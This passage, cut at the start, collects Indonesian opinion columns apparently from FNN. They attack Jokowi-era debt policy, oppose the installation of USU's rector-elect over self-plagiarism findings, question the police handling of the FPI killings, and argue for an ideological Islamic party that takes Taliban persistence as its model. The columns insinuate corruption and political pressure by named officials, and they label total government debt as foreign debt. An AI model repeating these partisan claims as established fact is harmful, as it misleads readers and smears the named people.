itu pertumbuhan ekonomi periode 2015 hingga 2019 tetap stagnan. Menurut data Biro Pusat Statistik, pertumbuhan ekomoni Indonesia tahun 2015 adalah 4,79%, tahun 2016 (5.03%), 2017 (5,07%), 2018 (5.17%) dan tahun 2019 (5,02%). Artinya, pembangunan infrastruktur yang digembar-gemborkan akan menyebabkan ekonomi meroket ternyata bohong belaka. Malah pada tahun 2019 perekonomian mulai menukik ke bawah posisi tahun 2016. Praktis dengan dan tanpa pembangunan infratruktur yang dikampanyekan hampir setiap hari oleh Jokowi pun ternyata perekonomian Indonesia biasa-biasa saja. Yang jadi masalah sekarang prioritas pembangunan infrastruktur ini ternyata justru menambah warisan utang luar negeri yang luar biasa besar untuk generasi yang akan datang. Bagaimana tidak, pada akhir tahun 2014, utang luar negeri pemerintah Indonesia cuma Rp 2. 608 triliiun. Pada akhir tahun 2019 sudah mencapai Rp 4. 779 triliun. Jadi selama 5 tahun masa pemerintahan pertama Jokowi, sudah menambah utang Rp 2. 171 triliun atau rata-rata Rp 432,2 triliun per tahun. . Dengan membandingkan pertumbuhan ekonomi yang stagnan dan penambahan utang yang meroket, sebetulnya keuangan rezim sudah kolaps sebelum datangnya pandemik covid-19. Karena pinjaman asing lebih.Rp 432 triliun per tahun itu ternyata sama sekali tidak mendongkrak pertumbuhan ekonomi. Padahal, rata-rata pertumbuhan ekonomi sepanjang era Presiden Susilo Bambang Yudhoyono atau SBY (2004-2014) mencapai 6%. Untuk menembus pertumbuhan ekonomi setinggi itu selama 10 tahun berkuasa, SBY hanya menambah hutang Rp 1. 309 triliun. Jadi, ke mana saja larinya pinjaman luar negeri sebanyak Rp 2. 171 triliun selama 5 tahun pertama Jokowi itu? Ini adalah tugas Komisi Pemberantasan Tindak Pidana Korupsi (KPK) untuk mengusutnya. Era SBY bukan tidak ada korupsi. Akan tetapi, faktanya pertumbuhan ekonomi bisa menembus di atas 6%. Logikanya, jika korupsi di era Jokowi bisa diminimalisir seharusnya pertumbuhan ekonomi dengan suntikan utang luar negeri yang sangat besar sepanjang 2015-2019 sudah bisa menembus di atas 7%. Sekarang nasi sudah menjadi bubur. Penambahan utang luar negeri sepanjang era Jokowi akan menjadi beban anak cucu kita ke depan. Apalagi, setelah Indonesia mengalami resesi ekonomi sepanjang tahun 2020. Berdasarkan data per Desember 2020, posisi utang luar negeri Indonesia sudah Rp 6.074,66 triliun. Jadi, sepahang tahun 2020, pemerintah sudah menambah utang luar negeri sebanyak Rp 1. 295 triliun. Semestinya, dengan pinjaman sebesar itu pertumbuhan ekonomi Indonesia tidak minus sepanjang tahun 2020. Karena dengan penerapan PSBB (Pembatasan Sosial Berskala Besar), roda perekonomian tetap bergerak di masyarakat. Buktinya tingkat penjualan BBM Pertamina selama tahun 2020 tidak mengalami pengurangan signifikan dibanding sebelum pandemik. Akan tetapi, menurut Menteri Keuangan Sri Mulyani, pertumbuhan ekonomi sepanjang 2020 berada pada kisaran minus 1,7% sampai minus 2,2%. Jadi, apa manfaatnya utang luar negeri sebanyak Rp 1.295 triliun itu? Alhasil kunci kebangkitan perekonomian Indonesia ke depan bukan ditentukan apakah penduduk Indonesia sudah divaksin covid-19 atau belum. Yang diperlukan sekarang adalah meminta pertanggungjawaban presiden terhadap pengunaan pinjaman utang luar negeri yang begitu besar, tetapi ternyata sama sekali tidak menggairahkan perekonomian Indonesia selama 6 masa pemerintahannya. Jika tidak ada kemauan untuk mengaudit ke mana larinya uang sebanyak itu ada baiknya kita mulai memikirkan pergantian presiden sesegera mungkin. Bayangkan, tahun 2020 saja rezim ini sudah menambah pinjaman asing hampir Rp 1.300 triliun. Dengan melihat pengungkapan kasus korupsi di BPJS Ketenagakerjaan baru-baru ini, menyusul setelah terungkapnya kasus-kasus mega korupsi di Jiwasraya dan penyaluran Bansos Covid-19, jangan harap ekonomi akan membaik setelah semua rakyat divaksin Covid-19. Sesungguhnya, yang menghancurkan perekonomian Indonesia adalah virus korupsi. Oleh karena itu, seluruh pejabat pemerintah harus divaksin antikorupsi. Tentu, Presiden Jokowi harus menjadi orang pertama yang divaksin antikorupsi itu. **

Seharusnya Muryanto Amin Diselidiki Dulu Otoplagiasinya, Bukan Dilantik

by Asyari Usman Medan, FNN - Kehancuran dunia akademik, khususnya Universitas Sumatera Utara (USU) akan segera dimulai. Kementerian Pendidikan dan Kebudayaan (Kemendikbud) kelihatannya akan memaksakan pelantikan otoplagiator, Dr Muryanto Amin, menjadi rektor USU. Dia terpilih pada 3 Desember 2020. Namun, setelah pemilihan, warga masyarakat melaporkan dugaan ‘self-plagiarism’ (otoplagiasi) yang dilakukan oleh Muryanto. Dalam arti, Muryanto mendaur-ulang karya tulisnya sendiri untuk diterbitkan di beberapa jurnal. Tim investigasi yang dibentuk oleh Rektor menemukan tuduhan otoplagiasi itu. Empat (4) dari lima (5) karya tulis Muryanto mengandung konten yang masuk kategori otoplagiasi dengan tingkat similiaritas (kemiripan) antara 80% sampai 90%. Menyusul temuan tim penyelidik, Rektor USU Prof Runtung Sitepu, mengeluarkan surat keputusan yang mengukuhkan temuan otoplagiasi itu. Rektor juga menjatuhkan sanksi terhadap Muryanto. Rektor terpilih ini tidak boleh naik pangkat selama setahun dan harus mengembalikan uang insentif yang diberikan untuk tulisan yang diterbitkan oleh jurnal Man in India edisi September 2017. Merespons keputusan Rektor, Kemendikbud pada 21 Januari 2021 mengatakan pihaknya membentuk tim khusus untuk mendalami otoplagiasi itu dan keputusan Rektor. Tetapi, kenyataannya, tim yang dibentuk itu tidak pernah turun. Para pemerhati berpendapat, tim khusus Kemendikbud itu hanyalah basa-basi saja. Supaya kelihatan Menteri memberikan perhatian. Yang terjadi, kata para pengamat itu, para petinggi Kemendikbud ditekan oleh pihak yang menghendaki Muryanto Amin segera dilantik. Seperti diketahui umum, Muryanto adalah salah seorang yang sangat dekat dengan Bobby Nasution –walikota Medan terpilih. Para guru besar senior USU mempertanyakan mengapa tim khusus yang dibentuk Kemenikbud tidak menunaikan tugasnya. Kemudian, mengapa Plt Sekjen Kemendikbud, Ainun Na’im, langsung mengeluarkan surat perintah kepada Majelis Wali Amanat (MWA) USU agar melaksanakan pelantikan Muryanto. Banyak yang menduga ada tekanan kekuasaan dari orang kuat yang dekat dengan Muryanto. Kalau bukan tekanan kekuasaan, tidak mungkin Kemendikbud mendesakkan pelantikan seorang otoplagiator menjadi rektor. Hari Rabu, 27 Januari 2021, Majelis Wali Amanat (MWA) Universitas Sumetara Utara (USU) akan menggelar sidang penting. Salah satu acara sidang virtual ini adalah membahas pelaksanaan pelantikan Muryanto di Jakarta pada 28 Januari 2021 di gedung Kemendikbud. Seharusnya, kalau MWA tidak yakin dengan sanksi Rektor, mereka bisa membentuk tim penyelidik untuk mempelajari keputusan Rektor dan juga investigasi tim Komite Etik. Tidak langsung melantik orang yang sedang dikenai sanksi. Kalau pendalaman tim MWA menemukan sanksi Rektor keliru, silakan rehabilitasi nama baik Muryanto Amin. Mendikbud tidak bisa melangkahi Rektor. Sebab, Peraturan Pemerintah No. 16/2014 tentang Statuta USU menegaskan bahwa MWA adalah organ tertinggi Universitas. Tetapi, beginilah negara ini dijalankan. Semua bisa dianulir oleh pemegang kekuasaan.[] Penulis adalah Wartawan Senior FNN.co.id.

Presiden & Kapolri Baru, Kunci Penuntasan Pembunuhan Laskar FPI

by Dr. Margarito Kamis SH. Mhum. Ternate FNN - Terbunuhnya enam orang laskar Front Pembela Islam (FPI) tanggal 7 Desember 2020, hampir dua bulan yang lalu, memunculkan dua fakta. Fakta yang ditemukan oleh Polri, dan fakta yang ditemukan Kimisi Nasiona Hak Asasi Manusia (Komnas Ham). Kedua temuan itu berbeda pada sejumlah aspek krusialnya. Fakta itu muncul pada waktu yang berbeda. Fakta yang ditemukan Polisi mendahului fakta yang ditemukan Komnas Ham. Fakta yang ditemukan Polisi terlihat selaras dengan pernyataan Irjen Pol. Fadhil Imran, Kapolda Metro Jaya. Esensi pernyataannya adalah Laskar menyerang petugas. Serangan itu membahayakan keselamatan petugas, sehingga terjadi baku tembak. Baku tembak versi Kapolda itulah yang direspon Bareskrim, yang dipimpim Komjen Pol Listyo Sigit Prabowo. Mereka telah melakukan reskonstruksi. Aspek Non Hukum Rekonstruksi terlihat berbasis kasus menurut Muhamad Fadil Imran, Kapolda Metro Jaya. Sekarang ini buntu. Ini disebabkan Komnas Ham menemukan kenyataan yang berbeda. Empat orang mati setelah diangkut dengan mobil petugas. Dua lainnya mati, entah saat baku tembak atau setelah jedah. Empat orang yang mati setelah diangkut dengan mobil petugas, jelas. Unlawfull killing. Dua lainnya tidak diberi sifat lawfull atau unlawfull killing. Apapun itu, kematian mereka mewakili satu kecenderungan. Bahkan pola kematian mereka yan teridentifiksi kritis terhadap pemerintah. Kematian itu, untuk alasan apapun, tidak bisa dilepaskan dari gairah pemerintah menandai Habib Rizieq Shihab (HRS). Nampaknya HRS ditandai sebagai oposan tulen terhadap pemerintahan Presiden Jokowi. Terus saja begitu setelah HRS kembali dari mengasingkan dirinya ke Arab Saudi. Segera setelah tiba di tanah air, HRS yang kritis ini menggaungkan apa yang beliau sebut “revolusi ahlak.” Entah untuk merealisasikan hasratnya atau bukan, terlihat secara empiris HRS melakukan serangkaian kegiatan. Sangat akseleratif. Setelah merayakan Maulid Nabi Muhammad Sallallahu Alaihi Wasallam, yang dihadiri lautan kecil manusia di Petamburan, beliau bergerak ke Mega Medung. Mirip di Petamburan, sambutan orang di Mega Mendung juga terlihat bagai lautan kecil. Di Mega Mendung, entah saat itu juga atau setelahnya, HRS telah berada dalam pantauan aparatur kepolisian. Polda Metro nampaknya menemukan justifikasi untuk mengintensifkan pemantauan itu. Sadar atau tidak, diperhitungkan atau tidak oleh Habib, ketidakhadiranya memenuhi penggilan penyidik Polda Metro dalam kasus dugaan pelanggaran protokol kesehatan, menjadi justifikasi Polda. Waktu terus berjalan, hingga tiba pada tanggal 14 Januari 2021, Komnas Ham menyerahkan laporan penyelidikannya ke Presiden. Apa respon Presiden? Presiden tidak menyatakan sendiri sikapnya. Melainkan sikap Presiden dinyatakan oleh Menko Polhukam. Menko Polhukam Mahfud MD menyatakan kalau Presiden Joko Widodo sudah menerima kesimpulan maupun rekomendasi Komnas HAM terkait insiden “baku tembak” (tanda petik dari saya) laskar FPI dengan aparat kepolisian. Tadi Presiden sudah menerima laporan investigasi dengan semua rekomendasinya. (Lihat CNN. Indonesia.com. 14/1/2021). Apa betul Presiden memiliki persespi peristiwa ini sebagai baku tembak? Baku tembak atau menembak? Semoga tidak begitu. Bila betul begitu, maka tantangan pengungkapan kasus ini tidak bisa dianggap sepele. Sebab kenyataannya, tidak persis sama dengan persepsi Presiden, yang dinyatakan oleh Menko Polhukam itu. Dalam konfrensi pers penyampaian kesimpulan investigasi mereka, Komnas membagi, dalam esensinya, area peristiwa kematian keenam orang laskar FPI ini. Dua orang mati, entah pada saat kejar-kejaran, serempet-menyerempet dan seruduk-menyeruduk, terutama disepanjang jalan Internasional Karawang Barat, diduga hingga Kilometer 49, dan berakhir di Kilometer 50. Komnas menyebut bahwa di Kilometer m 50 Tol Jakarta Cikampek (Japek), 2 (dua) orang anggota Laksus ditemukan dalam kondisi meninggal. Empat lainnya masih hidup, dan dibawa dalam keadaan hidup oleh petugas Kepolisian. Dua orang mati saat baku tembak didalam mobil? Empat orang itu ditembak di dalam mobil petugas yang membawa mereka dari Kilometer 50 menuju Polda Metro Jaya. Penembakan ini, menurut Komnas Ham merupakan respon petugas atas sikap keempatnya melawan petugas. Sikap keempat almarhum, yang hanya diterangkan oleh petugas itu, membahayakan keselamatan petugas, (Lihat Press Rilis Komnas Ham, tanggal 8 Januari 2021). Kalau begitu, mengapa Presiden tidak bicara sendiri? Mengapa sikap Presiden disampaikan oleh Menko Polhukam? Apa yang membuat Presiden tidak menyampaikan sendiri sikapnya? Ini menarik dianalisis. Transparansi penyidikan kasus ini, mungkin akan menjadi sesuatu yang sangat sulit diwujudkan. Sikap Presiden, suka atau tidak harus dipertimbangkan. Presiden boleh saja bicara buka kasus ini setuntas-tuntasnya. Tetapi masalahnya tidak disitu. Masalahnya mengapa lebih dari sebulan tidak ada instruksi spefisik kepada Kapolri dan Kabareskrim untuk mengusut secepat, tepat dan transparan kasus ini? Setidaknya instruksi itu dikeluarkan segera setelah Komnas menyampaikan temuannya ke masyarakat. Apakah kelambanan itu menjadi cerminan Presiden memiliki persepsi FPI sebagai Ormas yang memecah belah? Berkarakter rasis? Berada di atas negara? Apakah Presiden memiliki persepsi FPI sebagai Ormas yang terus-terusan menyusahkan Presiden? Semoga saja tidak. Pelarangan FPI berkegiatan, pemblokiran rekening-rekening FPI, dengan alasan adanya aliran dana dari luar negeri sekalipun, semuanya menyatu menjadi tirai tebal antara Presiden dan FPI. Menumpuknya tuduhan kepada HRS, suka atau tidak, telah menandai soal lain, yang menghasilkan kesulitan bekerjanya transparansi dalam pengungkapan kasus ini. Menjadi ajudan Presiden, mungkin menghasilkan keadaan tertentu antara Kapolri dengan Presiden. Mungkin saja. Tetapi lupakan saja itu. Soal terbesarnya bukan disitu. Soal terbesarnya adalah Bareskrim di bawah Komjen Listyo Sigit terlihat kelewat lambat menyidik kasus ini. Kabareskirm memiliki wewenang menyidik kasus ini. Tanpa perlu menunggu rekomendasi Komnas HAM yang berada di tangan Presiden. Apa yang membuat Kabareskrim lambat? Mengapa Kabareskrim tidak responsive? Mengapa responsif baru diucapkan dalam fit and proper test sebagai calon Kapolri? Tidak Bisa Berharap Bisakah faktor teknis, apapun itu, disodorkan sebagai penyebab lambatnya pengungkapan kasus ini? Bila iya, maka soalnya beralih ke level kerja transparansi berbasis due process of law penyidikan kasus ini. Pada titik ini tantangan baru segera menemui Kapolri baru. Apa tantangan itu? Dapatkah dua mobil yang menurut Komnas Ham tak teridentifikasi dari satuan mana, tetapi aktif terlibat dalam pembuntutan itu, disajikan secara tuntas? Ini bukan soal penyidik pemeriksa. Sama sekali bukan. Soal ini berada diluar kendali mereka. Ini bukan soal Kabareskrim baru. Ini soal Kapolri baru nanti. Termasuk dalam soal itu adalah menemukan fakta yang kokoh atas kematian dua orang yang terpisah dari kematian keempat orang lainnya. Logiskah penyidik bekerja hanya sebatas kesimpulan lemah Komnas Ham? Berhenti pada petugas yang ada dalam mobil? Kematian dua orang yang terpisah dari empat almarhum, seolah telah beres dengan kesimpulan Komnas Ham. Tidakkah bekas tembakan justru menghadirkan keharusan untuk meragukan temuan Komnas? Tembak-menembak lalu peluru kena dada keduanya? Diturunkan dari mobil di Kilometer 50 dalam keadaan telah mati? Keraguan juga menemukan alasan untuk diketengahkan dalam mengenal sebab sesungguhnya dari kematian keempat orang almarhum. Area peristiwa itu (dalam mobil) memang memudahkan penyidik menemukan pelakunya. Tetapi bukan disitu soalnya. Soalnya adalah setepat apakah penyidik menyajikan fakta secara utuh. Untuk apa? Agar distribusi tanggung jkawab menjadi adil. Konsekuensinya penyidik tidak memiliki pilihan lain selain harus menggali setuntas-tuntasnya prosedur penanganan keempat almarhum itu. Pada titik ini, penyidik mau tidak mau, akan berhadapan dengan tuntutan teknis yang logis. Penyidik dipaksa secara teknis mendapatkan keterangan, misalnya apakah para petugas melaporkan keadaan keempat orang yang telah berada dalam mobil kepada atasan atau tidak? Termasuk bagaimana keputusan membawa keempat almarum ke rumah sakit. Apakah keputusan membawa keempat almarhum ke rumah sakit, dibuat sendiri oleh petugas dalam mobil itu atau diperintahkan oleh orang lain? Logiskah petugas dalam mobil mengambil prakarsa menembak mereka? Rumitkah ini secara teknis? Terlihat tidak. Kerumitan non teknis, untuk sejumlah alasan, merupakan tantangan terberat yang melingkari kasus ini. Politik hukum pemerintahan Presiden Jokowi mungkin tak bakal dapat menyediakan energi untuk transparansi bekerja setuntas-tuntasnya. Itu sebabnya siapapun dapat memasuki soal ini dengan menyatakan serelatif apapun kasus ini terungkap, mungkin sudah sangat hebat. Tidakkah kematian 7 (tujuh) pendemo tanggal 21 Juni 2019, dalam protes hasil pemilu juga berlalu begitu saja? Tak ada yang dibawa ke depan pengadilan. Mereka diidentifikasi melalui investigasi sebagai pembuat kekacauan. Membuat kekacauan diambil dan disodorkan sebagai alasan pembenar. Argumen itu membut peristiwa tragis ini berlalu begitu saja bersama waktu. Sebanyak 989 petugas KPPS pemilu 2019, yang juga mati ditengah dan dalam waktu berdekatan dengan penyelesaian penghitungan pemilu, hanya jadi cerita pilu dan hitam ditengah gelora demokrasi dan rule of law. Tak ada satu pun manusia yang dihadapkan ke pengadilan. Terlihat sama polanya. Kematian demonstran penolak RUU KUHP dan UU KPK juga berlalu begitu saja saja. Dilansir dari Merdeka.com tanggal 17 Okober 2019, total ada lima korban meninggal pasca demo berujung ricuh dengan polisi tersebut. Mereka adalah Maulana Suryadi (23), Akbar Alamsyah (19) dan Bagus Putra Mahendra (15) di Jakarta dan dua mahasiswa Universitas Haluoleo yakni Immawan Randi (21) serta Muhammad Yusuf Kardawi (19). Sementara jumlah korban luka tak diketahui persis berapa banyaknya. Satu yang paling parah adalah mahasiswa Universitas Al Azhar Indonesia, Faisal Amir (Merdeka.com, 17 Oktober 2019). Kematian-kematian dalam lintasan berdimensi politik, sejauh ini terlihat memola menjadi hal biasa disepanjang pemerintahan Jokowi. Bikin ricuh, bikin kacau atau ditunggangi, terlihat menjadi alasan terpola, yang membenarkan kematian tersebut. Itu sebabnya mengharapkan lebih dari yang bakal disajikan dalam penydikan kasus Kematian laskar FPI, pasti terasa aneh. Akan muncul berbagai keadaan justifikasinya. Toh hukum dalam dimensi politik, untuk semua alasan yang mungkin dipakai, selalu begitu, menjadi hamba politik. Politik putih, hukum putih. Politik hitam, hukum hitam. Politik busuk, hukum jadi alat tercaggih memukul oposan. Begitulah sejarah bangsa ini menuliskannya. Presiden Jokowi dan Pak Kapolri sekarang dan baru nanti mau ditulis sejarah sebagai apa? Sejarah akan menemukan dan menulis bapak berdua, entah sebagai apa. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Mimpi Partai Islam Ideologis

by DR. Masri Sitanggang Medan FNN - Nasib Umat Islam Indonesia terkait erat dengan kendali politik dan kekuasaan. Bila memiliki pengaruh kuat, umat islam bisa bernafas lega. Sayangnya, sejarah Indonesia lebih banyak diwarnai lemahnya pengaruh umat Islam terhadap kendali politik. Kekuasaan pun sering tak ramah (untuk menghindari kata phobi) terhadap Islam. Padahal, para penguasa negeri ini, sebagaimana rakyatnya, mayoritas beragama Islam. Presiden pun, sejak Indonesia menyatakan merdeka, belum pernah beragama selain Islam. Setidaknya, itulah yang tertulis di KTP mereka. Memang, ada masa-masa dimana Umat Islam bisa bernafas lega. Tetapi itu sebentar saja ketika awal-awal merdeka. Awal Soeharto berkuasa dan masa akhir kekuasaan Soharto. Di awal-awal merdeka, itu terjadi karena pejuang kemerdekaan bisa dibilang lebih 95 persen adalah muslim dan perjuangannya pun berspirit Islam. Jadi, pada masa itu, banyak pemimpin yang menentukan politik negara memiliki spirit Islam. Pada awal Suharto berkuasa, bisa dibilang Umat Islam adalah korban utama, sekaligus front terdepan dalam menumpas, PKI dan menghantarkan Soeharto ke kursi presiden. Pada akhir-akhir kekuasaannya, muncul kesadaran sang Prabu Orde Baru itu untuk lengser keprabon madeg pandhita. Turun tahta kemudian menjadi seorang pandhita (baca muslim yang baik). Bersamaan dengan itu, kemungkinan sekali muncul pula kesadaran Soeharto bahwa membangun Indonesia tidak mungkin mengabaikan umat Islam. Begitulah. Selebihnya, sedikit lega di awal reformasi dan akhirnya kini menukik ke titik nadir. Terpinggirkan. Apakah jumlah umat Islam di lingkaran kekuasaan dan pengambil kebijakan politik merosot dari tahun ke tahun sejak Indonesia merdeka? Sehingga umat Islam kian terpinggirkan? Bisa jadi iya. Tetapi Umat Islam tidak pernah punya data persentase pejabat negara berdasarkan agama. Apakah masih tetap proporsional dengan persentase pemeluk agama di Indonesia atau tidak? Berkaca pada partai politik sebagai representasi kelompok perjuangan ideologi yang menentukan kekuasaan, perolehan kursi di DPR oleh partai-partai Islam pada Pemilu 2019 sangat rendah. Bila PKB, PKS, PAN dan PPP bisa disebut milik umat Islam, maka perolehan kursi partai-partai itu hanya 29,7% dari total kursi yang tersedia. Turun 4 kursi dari pemilu 2014, atau berkurang 14,03 persen dari hasil pemilu tahun 1955. Pemilu tahun 1955 itu, total perolehan partai-partai Islam mencapai 43,73 persen. Kekuatan poltik di DPR jelas memperngaruhi perbandingan pejabat negara berdasarkan pemeluk agama. Artinya, untuk saat sekarang, diduga (sekali lagi karena belum ada data) jumlah pejabat Islam yang menduduki jabatan penting negara berkurang sejalan melemahnya kekuatan mereka di parlemen. Secara statistik, persentase umat Islam di DPR sebagai lembaga pertarungan ideologi, mungkin saja masih unggul. Tetapi persoalannya adalah, tokoh-tokoh Islam yang berasal dari partai-partai sekuler sudah memiliki beban ideologis partainya sendiri. Cilakanya, pada banyak hal, ideologi yang diemban partai sekuler itu berseberangan dengan Islam. Nada ini tentu saja seirama dengan pejabat-pejabat penting negara, terutama yang pengangkatannya kuat dipengaruhi kekuatan politik. Setidaknya, ditinjau dari aspek ideologis, kualitas keislaman mereka bisa dibilang lemah. Bukan saja lemah dibandingkan dengan nilai Islam ideal, tetapi juga lemah bila dibanding pendukung ideolog selain Islam. Sementara itu, partai-partai Islam pun kurang teguh berpegang pada ideologinya. Pertimbangan praktis-pragmatis sering lebih mengedepan dari pada pertimbangan ideologis. Salah satu pertimbangan praktis-pragmatis itu adalah demi “menyelamatkan” partai dari sasaran tembak. Artinya, partai partai Islam lebih mengutamakan wadah (partai) dari pada perjuangan ideologinya. Akhirnya, partai-partai Islam kehilangan militansinya sekaligus wibawanya dalam pertarungan politik. Akhirnya, keberadaan partai-partai Islam tak lebih sebagai pelengkap demokrasi. Karena itu masuk akal jika kemudian ada yang memimpikan lahirnya Partai Islam yang Ideologis. Sebuah partai massa kader yang benar-benar dilandaskan pada prinsip-prinsip Islam serta berjuang menegakkan nilai-nilai Islam dalam kehidupan diri orang per orang, keluarga, masyarakat dan berbangsa. Partai ini diharapkan tampil sebagai gerakan perlawanan terhadap ideologi yang bertentangan dengan Islam. Akankah mimpi ini bisa terwujud ? Waktulah yang bisa menjawabnya. Namun harus pula disadari bahwa sejumlah persoalan internal umat Islam masih menjadi kendala. Jumlah umat Islam yang begitu besar di Indonesia, ternyata minim dalam sumber daya untuk membangun partai Islam Ideologis. Kembali berkaca pada Pemilu 2019, dengan berpatokan pada persentase penduduk Muslim Indonesia yang 86% (data ini juga masih simpang siur antara 85% sampai dengan 87%), berarti ada lebih dari 56% dari 86% lebih umat islam memilih partai sekuler. Ini kenyataan yang bisa terbaca hari ini. Yang manarik, bahwa yang bersemangat untuk mendirikan partai Islam ideologis adalah mereka yang bukan dari latar belakang pendidikan agama Islam. Atau, kebanyakan malah kurang terdidik secara Islam. Mereka yang dibesarkan di lingkungan pendidikan Islam (atau boleh disebut ulama) cendrung pasip. Menunggu atau malah tak ingin terlibat sama sekali soal perjuangan politik. Pertanyaaannya adalah, bagaimana kualitas ideologi Islam yang diemban partai Islam Ideologis nantinya? Sebagai bandingan, para petarung partai-partai sekuler (terutama sosialis dan kumonis) –yang menjadi lawan tanding partai Islam Ideologis, mengunyah habis dan berpegang teguh pada kitab dasar ideologi mereka seperti Das Capital-nya Marx, Manifesto Komunis dan secara konsisten pula membangun kerangka berfikir seperti Madilog-nya Tan Malaka. Ini tentu saja, sangat mengakhawatirkan. Para petarung ideologis Islam maju ke gelanggang dengan minim penguasaan terhadap Kitab Pedomannya (alqur’an dan hadits, sebagai sumber nilai yang akan diperjuangkan). Pepatah Arab mengatakan “teko yang kosong tidak mungkin mengisi gelas”. Karenanya, para petarung partai Islam Ideologis yang kosong dari nilai-nilai qu’an dan sunnah, tidak mungkin akan mengalahkan (mengisi ) lawan. Malah sebaliknya, akan tersisi (larut) dengan ideologi lawan. Maka, kelahiran Partai Islam Ideologis hanya akan menambah bilangan partai saja. Mungkin akan ada yang membantah pandangan ini. Tetapi Muahmmad Ghazali dalam bukunya Islam, Arab dan Yahudi Zionis yang terbit di awal 1980-an telah menguraikan panjang lebar tentang bukti kekalahan negara-negara Arab dalam perang Arab-Israel yang beruntun sejak 1948-1967. Inti soalnya adalah, bahwa Arab turun ke gelanggang dengan semangat nasionalisme Arab. Bukan semangat nilai Islam yang dibawa arab ketika melawan Israel. Sementara Israel turun dengan keyakinan bahwa mereka sedang menjalankan missi suci agama merebut tanah yang diberkati. Tanah yang dijanjikan Tuhan untuk mereka. Ada sebahagian yang berkeyakinan, bahwa Islam dapat menang dan mencapai kejayaanannya tanpa harus mengisi diri dengan Al-qur’an dan sunnah. Mereka begitu percaya diri dengan teori-teori yang dibangun berdasar rasionalitas. Dalam banyak hal, nilai Islam harus disembunyikan dalam rangka berjuang menegakkan Islam. Lebih dari itu, mereka bahkan memandang ulama sebagai orang yang kurang punya kemampuan politik (untuk menghindari kata Sufahaau dalam QS 2: 13). Oleh karena itu, sering sekali parta-partai Isam menjadikan Ulama hanya sebagai pemanis, sebagai pajangan supaya partai terlihat Islami dan indah dipandang mata. Namun ulamanya tidak diberi peran yang menentukan. Fenomena inilah yang telah dilukiskan oleh Abul A’la Maududi dalam bukunya Penjajahan Peradaban (1986). Para sarjana Islam, kata Maududi, bersemangat membangun kembali kejayaan Islam. Tetapi dengan metode dan pemikiran rasionalitas yang dibangun oleh musuh-musuh Islam. Ini sama saja cerita bohong. Para sarjana ini, menurut Maududi, sesungguhnya tak lebih dari perpanjangan tangan para penjajah untuk melanggengkan penjajahan peradaban di dunia Islam. Fenomena menjadikan ulama hanya sebagai pajangan, boleh jadi menjadi salah satu alasan mengapa banyak ulama yang kemudian enggan untuk terlibat dalam urusan partai. Memang, sangatlah tak menyenangkan bila orang yang diberi predikat “warisatul anbiayai” ditempatkan di pinggiran oleh orang-orang yang seharusnya mendapat pencerahan nilai-nilai Islam. Sikap ini pernah juga terjadi pada Masyumi setelah Kongres 1949, yang mendapat kritik keras dari Nahdatul Ulama dan A. Hasan Persis. Sementara sebagian ulama lebih suka mengalah untuk menghindari konflik. Menjaga hati agar tetap ikhlas. Menghindari tuduhan “punya ambisi” ingin jabatan. Padahal, konflik itu sendiri adalah bagian dari pertarungan menegakkan kebenaran. Mengalah karena menghindari konflik dengan kebathilan pada hakekatnya membiarkan kebathilan terus berlangsung dan menumbuhkan konflik-konflik lanjutan. Dalam konteks bernegara misalnya, kita lihat peristiwa-peristiwa ini. Sehari sesudah merdeka, Piagam Jakarta yang telah digodok berhari-hari dan disahkan oleh BPUPK untuk dijadikan falsafah negara, dirubah dalam hitungan beberapa menit di luar sidang pada tanggal 18 Agustus 1945. Tokoh-tokoh Islam mengalah, tidak ngotot, konon “demi menjagja persatuan” karena ada ancaman dari Indonesia bagian Timur yang tidak akan ikut dalam republik jika Piagam Jakarta tidak diubah. Hilanglah kewajiban negara untuk menjalankan syariat Islam bagi pemeluk-pemeluknya. Rasakanlah dampaknya kini. Ketika Soekarno dan Hatta “menyerah” serta Jogja sebagai ibu kota Indonesia dikuasai sekutu, Syafruddin Prawiranegara memimpin Republik Indonesia dari pengasingan. Tokoh Islam sekaligus tokoh Mayumi ini menjadi Presiden Pemerintahan Darurat Republik Indonesia menyelamatkan eksistensi republik dari agresi meliter maupun diplomasi internasional. Namun setelah Soekarno dibebaskan, jabatan Presiden itu diserahkan lagi kepada orang yang sudah menyerah. Mungkin takut dikata sebagai punya ambisi jabatan. Masih banyak catatan “keikhlasan” (bisa disebut kelemahan) masa lalu yang membuat nasib umat sekarang seperti ini. Andaikan dua hal itu, soal Piagam Jakarta dan PDRI, waktu itu kita ngotot, mungkin sejarah repuiblik ini akan sangat berbeda. Sebagai bandingan, cerita tentang respon utusan Taliban, Gulbuddin Hekmatiyar atau Rasul Sayaf? terhadap nasehat Anwar Haryono ketika mereka berkunjung ke Markas Dewan Dakwah di Jalan Kramat Raya 45 pertengan 1990-an. Anwar Haryono menasehatkan para Taliban menerima proposal rekonsiliasi di bawah Presiden Rabbani untuk mengakhir konflik, dan demi persatuan rakyat Afghanistan. Yang penting merdeka dulu. Rabbani adalah Presiden Afghanistan dukungan Amerika Serikat. Utusan Taliban itu merespon lebih kurang begini, “kami tidak ingin mengulangi pengalaman Indonesia tentang Piagam Jakarta”. Maka, kita saksikan, mereka terus berjuang dan akhirnya menang dengan Islamnya. Amerika pun menyerah kepada para pejuang Taliban. Kita harus merubah sikap mental bila ingin mewujudkan mimpi Partai Islam Ideologis. Ulama harus betul diposisikan sebagai pemimpin dan panduan. Nilai-nilai Islam (argumentasi berdasar nash-nash alqur’an dan sunnah) senantiasa menjadi budaya dan landasan setiap aktivitas. Sikap mental petarung, termasuk merebut jabatan dalam rangka menegakkan yang haq untuk mewujudkan kemaslahatan. Menghindari jabatan itu jatuh kepada orang yang kita khawatirkan kemaslahatannya, harus menjadi karakter. Itulah militansi. Hadits tentang tidak dibolehkan meminta jabatan harus dipahami secara benar dengan membandingkannya dengan sejumlah hadits lain, diantaranya hadis dari Usman bin Abil ketika ia meminta kepada Rasul, “jadikanlah aku sebagai pemimpin kaumku”. Nabi mengabukan dengan menjawab, “kamu adalah pemimpin mereka (HR Ahmad no. 16270). Atau dengan kisah Nabi Yusuf yang minta jabatan, dengan diangkat menjadi bendaharawan negara (QS 12:55). Pemahaman saya, hadits-hadits ini akan mengarahkan pada berkesimpulan bahwa jabatan harus diberikan kepada yang amanah dan berkopetensi. Penulis adalah Sekjen Masyumi Reborn.

Mengapa Semakin Kuat Desakan PDIP Dibubarkan?

